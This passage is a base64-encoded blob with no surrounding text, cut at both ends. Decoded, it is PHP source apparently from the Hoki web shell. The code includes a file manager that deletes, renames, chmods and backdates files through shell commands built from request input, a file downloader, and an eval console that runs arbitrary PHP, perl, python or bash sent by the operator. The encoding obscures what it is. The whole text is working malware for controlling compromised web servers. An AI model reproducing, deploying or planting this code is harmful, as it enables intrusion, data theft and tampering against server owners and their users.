ZGVsZXRlZCA9IHRydWU7CmlmKCFAdW5saW5rKCRfUE9TVFsnaG9raTEnXSkpewoJJGRlbGV0ZWQgPSBmYWxzZTsKCWlmKCRob2tpX2NhbnJ1bmNtZCl7CgkJaWYoX2hva2lfaXNfd3JpdGFibGUoJF9QT1NUWydob2tpMSddKSl7CgkJCWhva2lFeCg
icm0gLWYgJyIuYWRkc2xhc2hlcygkX1BPU1RbJ2hva2kxJ10pLiInIik7CgkJCSRkZWxldGVkID0gdHJ1ZTsKCQl9Cgl9Cn0KaWYoJGRlbGV0ZWQpZWNobyAnRmlsZSBEZWxldGVkLi4uPHNjcmlwdD52YXIgZWxlbSA9ICQoIicuJF9QT1NUWydob2
tpNCddLiciKS5wYXJlbnROb2RlO2VsZW0ucGFyZW50Tm9kZS5yZW1vdmVDaGlsZChlbGVtKTtkZWxldGUgZWRpdG9yX2ZpbGVzWyInLiRfUE9TVFsnaG9raTQnXS4nIl07PC9zY3JpcHQ+JztlbHNlIGVjaG8gJ0Vycm9yLi4uJzt9CmJyZWFrOwpjY
XNlICdjaG1vZCc6CkBjaGRpcigkX1BPU1RbJ2MnXSk7CmlmKCFlbXB0eSgkX1BPU1RbJ2hva2kzJ10pKXsKJHBlcm1zID0gMDsKZm9yKCRpPXN0cmxlbigkX1BPU1RbJ2hva2kzJ10pLTE7JGk+PTA7LS0kaSkKJHBlcm1zICs9IChpbnQpJF9QT1NU
Wydob2tpMyddWyRpXSpwb3coOCwgKHN0cmxlbigkX1BPU1RbJ2hva2kzJ10pLSRpLTEpKTsKaWYoIUBjaG1vZCgkX1BPU1RbJ2hva2kxJ10sICRwZXJtcykpewppZigkY2hkaXJfZmFscyYmJGhva2lfY2FucnVuY21kKXsKaG9raUV4KCJjZCAnIi5
hZGRzbGFzaGVzKCRfUE9TVFsiYyJdKS4iJztjaG1vZCAiLmFkZHNsYXNoZXMoJF9QT1NUWydob2tpMyddKS4iICciLmFkZHNsYXNoZXMoJGhva2kxX2RlY29kZWQpLiInIik7CmVjaG8oJ1N1Y2Nlc3MhJyk7Cn1lbHNlewplY2hvICc8Zm9udCBjb2
xvcj0iI0ZGRkZGRiI+PGI+Q2FuXCd0IHNldCBwZXJtaXNzaW9ucyE8L2I+PC9mb250Pjxicj48c2NyaXB0PmRvY3VtZW50Lm1mLmhva2kzLnZhbHVlPSIiOzwvc2NyaXB0Pic7fQp9ZWxzZXtlY2hvKCdTdWNjZXNzIScpO30KfQpjbGVhcnN0YXRjY
WNoZSgpOwpIb2tpTnVtKDgsOSwxMCw3LDYsNSw0LDIsMSk7CmlmKCRjaGRpcl9mYWxzKXsKCSRmaWxlX3Blcm0gPSAkZmlsZV9pbmZvWzVdOwp9ZWxzZXsKCSRmaWxlX3Blcm0gPSBzdWJzdHIoc3ByaW50ZignJW8nLCBAZmlsZXBlcm1zKCRfUE9T
VFsnaG9raTEnXSkpLC00KTsKfQplY2hvICc8c2NyaXB0Pmhva2kzXz0iIjs8L3NjcmlwdD48Zm9ybSBvbnN1Ym1pdD0iZWRpdG9yKFwnJy5hZGRzbGFzaGVzKCRfUE9TVFsnaG9raTEnXSkuJ1wnLFwnJy4kX1BPU1RbJ2hva2kyJ10uJ1wnLHRoaXM
uY2htb2QudmFsdWUsXCcnLiRfUE9TVFsnYyddLidcJyxcJycuJF9QT1NUWydob2tpNCddLidcJyxcJycuJGZ0eXBlLidcJyk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImNobW9kIiB2YWx1ZT0iJy4kZmlsZV9wZXJtLi
ciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iICI+PC9mb3JtPic7CmJyZWFrOwpjYXNlICdoZXhkdW1wJzoKQGNoZGlyKCRfUE9TVFsnYyddKTsKJGMgPSBfX3JlYWRfZmlsZSgkX1BPU1RbJ2hva2kxJ10pOwokbiA9IDA7CiRoID0gYXJyYXkoJ
zAwMDAwMDAwPGJyPicsJycsJycpOwokbGVuID0gc3RybGVuKCRjKTsKZm9yICgkaT0wOyAkaTwkbGVuOyArKyRpKSB7CiRoWzFdIC49IHNwcmludGYoJyUwMlgnLG9yZCgkY1skaV0pKS4nICc7CnN3aXRjaCAoIG9yZCgkY1skaV0pICkgewpjYXNl
IDA6ICRoWzJdIC49ICcgJzsgYnJlYWs7CmNhc2UgOTogJGhbMl0gLj0gJyAnOyBicmVhazsKY2FzZSAxMDogJGhbMl0gLj0gJyAnOyBicmVhazsKY2FzZSAxMzogJGhbMl0gLj0gJyAnOyBicmVhazsKZGVmYXVsdDogJGhbMl0gLj0gJGNbJGldOyB
icmVhazsKfQokbisrOwppZiAoJG4gPT0gMzIpIHsKJG4gPSAwOwppZiAoJGkrMSA8ICRsZW4pIHskaFswXSAuPSBzcHJpbnRmKCclMDhYJywkaSsxKS4nPGJyPic7fQokaFsxXSAuPSAnPGJyPic7CiRoWzJdIC49ICJcbiI7Cn0KfQplY2hvICc8ZG
l2IGNsYXNzPSJlZGl0b3ItdmlldyI+PGRpdiBjbGFzcz0idmlldy1jb250ZW50Ij48dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01IGJnY29sb3I9YmxhY2s+PHRyPjx0ZCBiZ2NvbG9yPWdyYXk+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ
2h0OiBub3JtYWw7Ij48cHJlPicuJGhbMF0uJzwvcHJlPjwvc3Bhbj48L3RkPjx0ZCBiZ2NvbG9yPSMyODI4Mjg+PHByZT4nLiRoWzFdLic8L3ByZT48L3RkPjx0ZCBiZ2NvbG9yPSMzMzMzMzM+PHByZT4nLmh0bWxzcGVjaWFsY2hhcnMoJGhbMl0p
Lic8L3ByZT48L3RkPjwvdHI+PC90YWJsZT48L2Rpdj48L2Rpdj4nOwpicmVhazsKY2FzZSAncmVuYW1lJzoKQGNoZGlyKCRfUE9TVFsnYyddKTsKJGhva2kxX2VzY2FwZSA9IGFkZHNsYXNoZXMoJF9QT1NUWyJob2tpMSJdKTsKJGhva2kzX2VzY2F
wZSA9IGFkZHNsYXNoZXMoJF9QT1NUWyJob2tpMyJdKTsKaWYoIWVtcHR5KCRfUE9TVFsnaG9raTMnXSkpewokY21kX3JlbmFtZSA9IGZhbHNlOwppZigkY2hkaXJfZmFscyYmJGhva2lfY2FucnVuY21kKXsKaWYoX2hva2lfaXNfd3JpdGFibGUoJF
9QT1NUWydob2tpMSddKSl7CiRob2tpMV9lc2NhcGUgPSBhZGRzbGFzaGVzKCRob2tpMV9kZWNvZGVkKTsKaG9raUV4KCJjZCAnIi5hZGRzbGFzaGVzKCRfUE9TVFsnYyddKS4iJzttdiAnIi4kaG9raTFfZXNjYXBlLiInICciLmFkZHNsYXNoZXMoJ
F9QT1NUWydob2tpMyddKS4iJyIpOwp9ZWxzZXsKJGNtZF9yZW5hbWUgPSB0cnVlOwp9Cn1lbHNlewokaG9raTFfZXNjYXBlID0gYWRkc2xhc2hlcygkX1BPU1RbImhva2kxIl0pOwp9CmlmKCFAcmVuYW1lKCRfUE9TVFsnaG9raTEnXSwgJF9QT1NU
Wydob2tpMyddKSYmJGNtZF9yZW5hbWUpewplY2hvICdDYW5cJ3QgcmVuYW1lITxicj4nO31lbHNle2VjaG8oJ1JlbmFtZWQhPHNjcmlwdD50cnl7JCgiJy4kX1BPU1RbJ2hva2k0J10uJyIpLmlubmVySFRNTCA9ICI8ZGl2IGNsYXNzPVwnZWRpdG9
yLWljb25cJz4iK2xvYWRUeXBlKFwnJy4kaG9raTNfZXNjYXBlLidcJyxcJycuJGZ0eXBlLidcJyxcJycuJF9QT1NUWydob2tpNCddLidcJykrIjwvZGl2PjxkaXYgY2xhc3M9XCdlZGl0b3ItZmlsZS1uYW1lXCc+Jy4kaG9raTNfZXNjYXBlLic8L2
Rpdj4iO2VkaXRvcl9maWxlc1siJy4kX1BPU1RbJ2hva2k0J10uJyJdLmZpbGUgPSAiJy4kaG9raTNfZXNjYXBlLiciO3VwZGF0ZUZpbGVFZGl0b3IoIicuJGhva2kxX2VzY2FwZS4nIiwgIicuJGhva2kzX2VzY2FwZS4nIik7Jy4oJGZ0eXBlID09I
CJkaXIiPyJ1cGRhdGVEaXJzRWRpdG9yKCciLiRfUE9TVFsnaG9raTQnXS4iJywnIi4kaG9raTFfZXNjYXBlLiInKTsiOiIiKS4nfWNhdGNoKGUpe2NvbnNvbGUubG9nKGUpfTwvc2NyaXB0PicpOyRob2tpMV9lc2NhcGUgPSAkaG9raTNfZXNjYXBl
O30KfQplY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZWRpdG9yKFwnJy4kaG9raTFfZXNjYXBlLidcJyxcJycuJF9QT1NUWydob2tpMiddLidcJyx0aGlzLm5hbWUudmFsdWUsXCcnLiRfUE9TVFsnYyddLidcJyxcJycuJF9QT1NUWydob2tpNCddLidcJyx
cJycuJGZ0eXBlLidcJyk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im5hbWUiIHZhbHVlPSInLmFkZHNsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhpc3NldCgkX1BPU1RbJ2hva2kzJ10pJiYkX1BPU1RbJ2hva2kzJ10hPS
cnPyRfUE9TVFsnaG9raTMnXTokaG9raTFfZGVjb2RlZCkpLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iICI+PC9mb3JtPic7CmJyZWFrOwpjYXNlICd0b3VjaCc6CkBjaGRpcigkX1BPU1RbJ2MnXSk7CmlmKCAhZW1wdHkoJF9QT1NUWydob
2tpMyddKSApIHsKJHRpbWUgPSBzdHJ0b3RpbWUoJF9QT1NUWydob2tpMyddKTsKaWYoJHRpbWUpewokdG91Y2hlZCA9IGZhbHNlOwppZigkY2hkaXJfZmFscyYmJGhva2lfY2FucnVuY21kKXsKCWhva2lFeCgiY2QgJyIuYWRkc2xhc2hlcygkX1BP
U1RbImMiXSkuIic7dG91Y2ggLWQgJyIuaHRtbHNwZWNpYWxjaGFycyhhZGRzbGFzaGVzKCRfUE9TVFsnaG9raTMnXSkpLiInICciLmFkZHNsYXNoZXMoJGhva2kxX2RlY29kZWQpLiInIik7CgkkdG91Y2hlZCA9IHRydWU7Cn0KaWYoIUB0b3VjaCg
kX1BPU1RbJ2hva2kxJ10sJHRpbWUsJHRpbWUpJiYhJHRvdWNoZWQpCmVjaG8gJ0ZhaWwhJzsKZWxzZQplY2hvICdUb3VjaGVkISc7Cn0gZWxzZSBlY2hvICdCYWQgdGltZSBmb3JtYXQhJzsKfQpjbGVhcnN0YXRjYWNoZSgpOwplY2hvICc8c2NyaX
B0Pmhva2kzXz0iIjs8L3NjcmlwdD48Zm9ybSBvbnN1Ym1pdD0iZWRpdG9yKFwnJy5hZGRzbGFzaGVzKCRfUE9TVFsnaG9raTEnXSkuJ1wnLFwnJy4kX1BPU1RbJ2hva2kyJ10uJ1wnLHRoaXMudG91Y2gudmFsdWUsXCcnLiRfUE9TVFsnYyddLidcJ
yxcJycuJF9QT1NUWydob2tpNCddLidcJyxcJycuJGZ0eXBlLidcJyk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXRvdWNoIHZhbHVlPSInLmRhdGUoIlktbS1kIEg6aTpzIiwgKCRjaGRpcl9mYWxzPyRmaWxlX2luZm9bNF06
QGZpbGVtdGltZSgkX1BPU1RbJ2hva2kxJ10pKSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSIgIj48L2Zvcm0+JzsKYnJlYWs7CmNhc2UgJ2ltYWdlJzoKQGNoZGlyKCRfUE9TVFsnYyddKTsKZWNobygnPGhyPicpOwokZmlsZSA9ICRfUE9
TVFsnaG9raTEnXTsKJGltYWdlX2luZm8gPSBAZ2V0aW1hZ2VzaXplKCRmaWxlKTsKaWYoaXNfYXJyYXkoJGltYWdlX2luZm8pfHwkY2hkaXJfZmFscyl7CiR3aWR0aCA9IChpbnQpJGltYWdlX2luZm9bMF07CiRoZWlnaHQgPSAoaW50KSRpbWFnZV
9pbmZvWzFdOwppZigkY2hkaXJfZmFscyYmJGhva2lfY2FucnVuY21kKXsKCSRzb3VyY2UgPSBob2tpRXgoImNhdCAnIi5hZGRzbGFzaGVzKCRmaWxlKS4iJyB8IGJhc2U2NCIpOwoJbGlzdCgkd2lkdGgsICRoZWlnaHQpID0gZXhwbG9kZSgiOiIsI
Ghva2lFeCgiaWRlbnRpZnkgLWZvcm1hdCAnJXc6JWgnICciLmFkZHNsYXNoZXMoJGZpbGUpLiInIikpOwoJJG1pbWUgPSBleHBsb2RlKCI6IiwgaG9raUV4KCJmaWxlIC0tbWltZS10eXBlICciLmFkZHNsYXNoZXMoJGZpbGUpLiInIikpOwoJJGlt
YWdlX2luZm9bJ21pbWUnXSA9ICRtaW1lWzFdOwp9ZWxzZXsKCSRzb3VyY2UgPSBfX1pXNWpiMlJsY2coX19yZWFkX2ZpbGUoJGZpbGUsIGZhbHNlKSk7Cn0KJGltYWdlX2luZm9faCA9ICJJbWFnZSB0eXBlID0gPHNwYW4+Wzwvc3Bhbj4gIi4kaW1
hZ2VfaW5mb1snbWltZSddLiIgPHNwYW4+XTwvc3Bhbj48YnI+SW1hZ2UgU2l6ZSA9IDxzcGFuPlsgPC9zcGFuPiIuJHdpZHRoLiIgeCAiLiRoZWlnaHQuIjxzcGFuPiBdPC9zcGFuPjxicj4iOwppZigkd2lkdGggPiA4MDApeyR3aWR0aCA9IDgwMD
t9CmVjaG8gJGNvbnRlbnQgPSAiPGRpdiBjbGFzcz0nZWRpdG9yLXZpZXcnPjxkaXYgY2xhc3M9J3ZpZXctY29udGVudCc+PGNlbnRlcj4iLiRpbWFnZV9pbmZvX2guIjxicj48aW1nIGlkPSd2aWV3SW1hZ2UnIHN0eWxlPSdtYXgtd2lkdGg6MTAwJ
Ttib3JkZXI6MXB4IHNvbGlkIGdyZWVuOycgc3JjPSdkYXRhOiIuJGltYWdlX2luZm9bJ21pbWUnXS4iO2Jhc2U2NCwiLiRzb3VyY2UuIicgYWx0PSciLiRmaWxlLiInPjwvY2VudGVyPjwvZGl2PjwvZGl2Pjxicj4iOwp9CmJyZWFrOwp9CmVjaG8g
JzwvZGl2Pic7Cmhva2lGb290ZXIoKTsKfQpmdW5jdGlvbiBmaW5kaWNvbigkZmlsZSwkdHlwZSl7CiRzID0gJ2h0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvJzsKJHR5cGVzID0gYXJyYXkoJ2pzb24nLCdwcHQnLCdwcHR4JywneGxzJywneGx
zeCcsJ21zaScsJ2NvbmZpZycsJ2NnaScsJ3BtJywnYycsJ2NwcCcsJ2NzJywnamF2YScsJ2FzcHgnLCdhc3AnLCdkYicsJ3R0ZicsJ2VvdCcsJ3dvZmYnLCd3b2ZmMicsJ3dvZmYnLCdjb25mJywnbG9nJywnYXBrJywnY2FiJywnYnoyJywndGd6Jy
wnZG1nJywnaXpvJywnamFyJywnN3onLCdpc28nLCdyYXInLCdiYXQnLCdzaCcsJ2hva2knLCdneicsJ3RhcicsJ3BocCcsJ3BocDQnLCdwaHA1JywncGh0bWwnLCdodG1sJywneGh0bWwnLCdzaHRtbCcsJ2h0bScsJ3ppcCcsJ3BuZycsJ2pwZycsJ
2pwZWcnLCdnaWYnLCdibXAnLCdpY28nLCd0eHQnLCdqcycsJ3JiJywncHknLCd4bWwnLCdjc3MnLCdzcWwnLCdodGFjY2VzcycsJ3BsJywnaW5pJywnZGxsJywnZXhlJywnbXAzJywnbXA0JywnbTRhJywnbW92JywnZmx2Jywnc3dmJywnbWt2Jywn
YXZpJywnd212JywnbXBnJywnbXBlZycsJ2RhdCcsJ3BkZicsJzNncCcsJ2RvYycsJ2RvY3gnLCdkb2NtJyk7CmlmKCR0eXBlIT0nZmlsZScpewpyZXR1cm4gKCRmaWxlPT0nLi4nPyRzLidiYWNrLnBuZyc6JHMuJ2ZvbGRlci5wbmcnKTsKfWVsc2V
7CiRleHQgPSBleHBsb2RlKCcuJywkZmlsZSk7CiRleHQgPSBlbmQoJGV4dCk7CiRleHQgPSBzdHJ0b2xvd2VyKCRleHQpOwpyZXR1cm4gKGluX2FycmF5KCRleHQsJHR5cGVzKT8kcy4kZXh0LicucG5nJzokcy4nbm90Zm91bmQucG5nJyk7Cn0KfQ
pmdW5jdGlvbiBob2tpZGxmaWxlKCl7CmlmKGlzc2V0KCRfUE9TVFsnYyddLCRfUE9TVFsnZmlsZSddKSl7CiRiYXNlbmFtZSA9IHJhd3VybGRlY29kZShiYXNlbmFtZSgkX1BPU1RbJ2ZpbGUnXSkpOwokX1BPU1RbJ2ZpbGUnXSA9IHN0cl9yZXBsY
WNlKCIvLyIsICIvIiwgJF9QT1NUWydjJ10uJy8nLiRiYXNlbmFtZSk7CiRob2tpX2NhbnJ1bmNtZCA9IF9ob2tpX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSk7CmlmKEBpc19maWxlKCRfUE9TVFsnZmlsZSddKSAmJiBAaXNfcmVhZGFibGUoJF9Q
T1NUWydmaWxlJ10pIHx8ICRob2tpX2NhbnJ1bmNtZCl7Cm9iX3N0YXJ0KCJvYl9nemhhbmRsZXIiLCA0MDk2KTsKaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuYWRkc2xhc2hlcygkYmFzZW5hbWU
pLiJcIiIpOwpoZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7CmlmKCRHTE9CQUxTWyJnbG9iX2NoZGlyX2ZhbHNlIl0pewoJJHJhbmRuYW1lID0gJGJhc2VuYW1lLnJhbmQoMTExLDk5OTkpOwoJJHNjcmlwdH
BhdGggPSBkaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7CgkkZmlsZXBhdGggPSAkc2NyaXB0cGF0aC4iLyIuJHJhbmRuYW1lOwoJaWYoX2hva2lfaXNfd3JpdGFibGUoJHNjcmlwdHBhdGgpKXsKCQlob2tpRXgoImNwICciLmFkZ
HNsYXNoZXMoJF9QT1NUWyJmaWxlIl0pLiInICciLmFkZHNsYXNoZXMoJGZpbGVwYXRoKS4iJyIpOwoJCXJlYWRmaWxlKCRmaWxlcGF0aCk7CgkJQHVubGluaygkZmlsZXBhdGgpOwoJfWVsc2V7CgkJaG9raUV4KCJjYXQgJyIuYWRkc2xhc2hlcygk
X1BPU1RbImZpbGUiXSkuIiciKTsKCX0KfWVsc2V7CglyZWFkZmlsZSgkX1BPU1RbJ2ZpbGUnXSk7Cn0KfWVsc2UgZWNobygnRXJyb3IuLi4hJyk7fX0KZnVuY3Rpb24gX19ob2tpX3NldF9jb29raWUoJGtleSwgJHZhbHVlKXsKCSRfQ09PS0lFWyR
rZXldID0gJHZhbHVlOwoJQHNldGNvb2tpZSgka2V5LCAkdmFsdWUsIHRpbWUoKSsoODY0MDAgKiA3KSwgJy8nKTsKfQpmdW5jdGlvbiBob2tpcGhwZXZhbCgpewppZihpc3NldCgkX0NPT0tJRVsiZXZhbF90bXBkaXIiXSkmJkBpc19kaXIoJF9DT0
9LSUVbImV2YWxfdG1wZGlyIl0pKXsKCSR0ZW1wZGlyID0gX19aR1ZqYjJSbGNnKCRfQ09PS0lFWyJldmFsX3RtcGRpciJdKTsKfWVsc2V7CgkkdGVtcGRpciA9IGRpcm5hbWUoaG9raUV4KCJta3RlbXAiKSk7CglfX2hva2lfc2V0X2Nvb2tpZSgiZ
XZhbF90bXBkaXIiLCBfX1pXNWpiMlJsY2coJHRlbXBkaXIpKTsKfQpob2tpaGVhZCgpOwppZihpc3NldCgkX1BPU1RbJ2hva2kyJ10pICYmICgkX1BPU1RbJ2hva2kyJ10gPT0gJ2luaScpKXsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+JzsKb2Jf
c3RhcnQoKTsKJElOST1pbmlfZ2V0X2FsbCgpOwpwcmludCAnPHRhYmxlIGJvcmRlcj0wPjx0cj4nCi4nPHRkIGNsYXNzPSJsaXN0aW5nIj48Zm9udCBjbGFzcz0iaGlnaGxpZ2h0X3R4dCI+UGFyYW08L3RkPicKLic8dGQgY2xhc3M9Imxpc3Rpbmc
iPjxmb250IGNsYXNzPSJoaWdobGlnaHRfdHh0Ij5HbG9iYWwgdmFsdWU8L3RkPicKLic8dGQgY2xhc3M9Imxpc3RpbmciPjxmb250IGNsYXNzPSJoaWdobGlnaHRfdHh0Ij5Mb2NhbCBWYWx1ZTwvdGQ+JwouJzx0ZCBjbGFzcz0ibGlzdGluZyI+PG
ZvbnQgY2xhc3M9ImhpZ2hsaWdodF90eHQiPkFjY2VzczwvdGQ+PC90cj4nOwpmb3JlYWNoICgkSU5JIGFzICRwYXJhbSA9PiAkdmFsdWVzKQpwcmludCAiXG4iLic8dHI+JwouJzx0ZCBjbGFzcz0ibGlzdGluZyI+PGI+Jy4kcGFyYW0uJzwvdGQ+J
wouJzx0ZCBjbGFzcz0ibGlzdGluZyI+Jy4kdmFsdWVzWydnbG9iYWxfdmFsdWUnXS4nIDwvdGQ+JwouJzx0ZCBjbGFzcz0ibGlzdGluZyI+Jy4kdmFsdWVzWydsb2NhbF92YWx1ZSddLicgPC90ZD4nCi4nPHRkIGNsYXNzPSJsaXN0aW5nIj4nLiR2
YWx1ZXNbJ2FjY2VzcyddLicgPC90ZD48L3RyPic7CiR0bXAgPSBvYl9nZXRfY2xlYW4oKTsKJHRtcCA9IHByZWdfcmVwbGFjZSgnIShib2R5fGE6XHcrfGJvZHksIHRkLCB0aCwgaDEsIGgyKSB7Lip9IW1zaVUnLCcnLCR0bXApOwokdG1wID0gcHJ
lZ19yZXBsYWNlKCchdGQsIHRoIHsoLiopfSFtc2lVJywnLmUsIC52LCAuaCwgLmggdGggeyQxfScsJHRtcCk7CmVjaG8gc3RyX3JlcGxhY2UoJzxoMScsJzxoMicsICR0bXApIC4nPC9kaXY+PGJyPic7Cn0KaWYoaXNzZXQoJF9QT1NUWydob2tpMi
ddKSAmJiAoJF9QT1NUWydob2tpMiddID09ICdpbmZvJykpIHsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PHN0eWxlPi5wIHtjb2xvcjojMDAwO308L3N0eWxlPic7Cm9iX3N0YXJ0KCk7CnBocGluZm8oKTsKJHRtcCA9IG9iX2dldF9jbGVhbigpO
wokdG1wID0gcHJlZ19yZXBsYWNlKCchKGJvZHl8YTpcdyt8Ym9keSwgdGQsIHRoLCBoMSwgaDIpIHsuKn0hbXNpVScsJycsJHRtcCk7CiR0bXAgPSBwcmVnX3JlcGxhY2UoJyF0ZCwgdGggeyguKil9IW1zaVUnLCcuZSwgLnYsIC5oLCAuaCB0aCB7
JDF9JywkdG1wKTsKZWNobyBzdHJfcmVwbGFjZSgnPGgxJywnPGgyJywgJHRtcCkgLic8L2Rpdj48YnI+JzsKfQppZihpc3NldCgkX1BPU1RbJ2hva2kyJ10pICYmICgkX1BPU1RbJ2hva2kyJ10gPT0gJ2V4dGVuJykpIHsKZWNobyAnPGRpdiBjbGF
zcz1oZWFkZXI+JzsKb2Jfc3RhcnQoKTsKJEVYVD1nZXRfbG9hZGVkX2V4dGVuc2lvbnMoKTsKZWNobyAnPHRhYmxlIGJvcmRlcj0wPjx0cj48dGQgY2xhc3M9Imxpc3RpbmciPicuaW1wbG9kZSgnPC90ZD48L3RyPicuIlxuIi4nPHRyPjx0ZCBjbG
Fzcz0ibGlzdGluZyI+JywgJEVYVCkuJzwvdGQ+PC90cj48L3RhYmxlPicuY291bnQoJEVYVCkuJyBleHRlbnNpb25zIGxvYWRlZCc7CmVjaG8gJzwvZGl2Pjxicj4nOwp9CiRsYW5nX2h0bWwgPSAiIjsKZm9yZWFjaChhcnJheSgicGhwIj0+InBoc
CB+PiBbIFdpbmRvd3MgLyBMaW51eCBdIiwicGVybCI9PiJwZXJsIH4+IFsgTGludXggXSIsInB5dGhvbiI9PiJweXRob24gfj4gWyBMaW51eCBdIiwiYmFzaCI9PiJiYXNoIH4+IFsgTGludXggXSIpIGFzICRrZXk9PiR2YWwpeyRsYW5nX2h0bWwg
Lj0gJzxvcHRpb24gdmFsdWU9IicuJGtleS4nIiAnLigkX1BPU1RbImhva2kzIl09PSRrZXk/InNlbGVjdGVkIjoiIikuJz4nLiR2YWwuJzwvb3B0aW9uPic7fQplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48Q2VudGVyPjxhIGhyZWY9amF2YXNjcml
wdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdwaHBldmFsXCcsbnVsbCxcJ1wnLFwnaW5pXCcpIj58IElOSV9JTkZPIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdwaHBldmFsXCcsbnVsbCxcJ1wnLFwnaW5mb1wnKS
I+IHwgcGhwaW5mbyB8PC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdwaHBldmFsXCcsbnVsbCxcJ1wnLFwnZXh0ZW5cJykiPiB8IGV4dGVuc2lvbnMgfDwvYT48L2NlbnRlcj48YnI+PGZvcm0gY2xhc3M9InBocC1ld
mFscyIgbmFtZT0icGYiIG1ldGhvZD0icG9zdCIgb25zdWJtaXQ9InZhciBhY2VfdmFsdWU9Z2VFdmFsQWNlVmFsdWUodGhpcyk7ZyhcJ3BocGV2YWxcJyxudWxsLGFjZV92YWx1ZSxudWxsLHRoaXMubGFuZ3VhZ2UudmFsdWUpOyByZXR1cm4gZmFs
c2U7Ij48ZGl2IGNsYXNzPSJ0eHRmb250Ij5TZWxlY3QgTGFuZ3VhZ2U6IDwvZGl2PiA8c2VsZWN0IG5hbWU9Imxhbmd1YWdlIiBzdHlsZT0id2lkdGg6MzAwcHg7Ij4nLiRsYW5nX2h0bWwuJzwvc2VsZWN0PicuX2hva2lfbG9hZF9hY2Vfb3B0aW9
ucygiZXZhbCIpLic8YnI+PGJyPjxkaXYgY2xhc3M9ImJpZ2FyZWEiIHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTsiPjxkaXYgY2xhc3M9InBocC1ldmFscy1hY2UiPicuKCFlbXB0eSgkX1BPU1RbJ2hva2kxJ10pP2h0bWxzcGVjaWFsY2hhcnMoJF
9QT1NUWydob2tpMSddKToiJmx0Oz9waHBcblxuXHRlY2hvKCdoZWxsbyBob2tpICEnKTtcblxuPz4iKS4nPC9kaXY+PC9kaXY+PGNlbnRlcj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iIiBzdHlsZT0ibWFyZ2luLXRvcDo1cHgiPjwvY2Vud
GVyPic7CmVjaG8gJzwvZm9ybT48cHJlIGlkPSJQaHBPdXRwdXQiIHN0eWxlPSInLihlbXB0eSgkX1BPU1RbJ2hva2kxJ10pPydkaXNwbGF5Om5vbmU7JzonJykuJ21hcmdpbi10b3A6NXB4OyIgY2xhc3M9Im1sMSI+JzsKaWYoIWVtcHR5KCRfUE9T
VFsnaG9raTEnXSkpewppZigkX1BPU1RbJ2hva2kzJ109PSJwaHAiKXsKb2Jfc3RhcnQoKTsKZXZhbCgnPz4nLiRfUE9TVFsnaG9raTEnXSk7CiRyZXN1bHQgPSBodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKTsKfWVsc2VpZihfaG9raV9
jYW5fcnVuQ29tbWFuZCgpJiYkR0xPQkFMU1sic3lzIl09PSJ1bml4Iil7CgkkbGFuZyA9ICRfUE9TVFsnaG9raTMnXTsKCSRmaWxlbmFtZSA9ICJ0ZW1wIi5yYW5kKDExMTExLDk5OTk5KTsKCSR0ZW1wID0gJHRlbXBkaXIuIi8iLiRmaWxlbmFtZS
A7CglfX3dyaXRlX2ZpbGUoJGZpbGVuYW1lLCAkX1BPU1RbJ2hva2kxJ10pOwoJJHJlc3VsdCA9IGhva2lFeCgibXYgeyRmaWxlbmFtZX0geyR0ZW1wfTt7JGxhbmd9IHskdGVtcH07cm0gLWYgeyR0ZW1wfSIpOwoJQHVubGluaygkZmlsZW5hbWUpO
woJQHVubGluaygkdGVtcCk7Cn0KZWNobyAnPHRleHRhcmVhIGNsYXNzPSJiaWdhcmVhIj4nLiRyZXN1bHQuJzwvdGV4dGFyZWE+JzsKfQplY2hvICc8L3ByZT48L2Rpdj4nOwpob2tpZm9vdGVyKCk7Cn0KZnVuY3Rpb24gaG9raWhhc2goKXsKaWYo
IWZ1bmN0aW9uX2V4aXN0cygnaGV4MmJpbicpKSB7ZnVuY3Rpb24gaGV4MmJpbigkcCkge3JldHVybiBkZWNiaW4oaGV4ZGVjKCRwKSk7fX0KaWYoIWZ1bmN0aW9uX2V4aXN0cygnZnVsbF91cmxlbmNvZGUnKSkge2Z1bmN0aW9uIGZ1bGxfdXJsZW5
jb2RlKCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJsZW4oJHApOysrJGkpJHIuPSAnJScuZGVjaGV4KG9yZCgkcFskaV0pKTtyZXR1cm4gc3RydG91cHBlcigkcik7fX0KJHN0cmluZ1Rvb2xzID0gYXJyYXkoCidCYXNlNjRfZW5jb2RlICggJHN0cm
luZyApJyA9PiAnX19aVzVqYjJSbGNnKCRzKScsCidCYXNlNjRfZGVjb2RlICggJHN0cmluZyApJyA9PiAnX19aR1ZqYjJSbGNnKCRzKScsCidzdHJyZXYgKCAkc3RyaW5nICknID0+ICdzdHJyZXYoJHMpJywKJ2JpbjJoZXggKCAkc3RyaW5nICknP
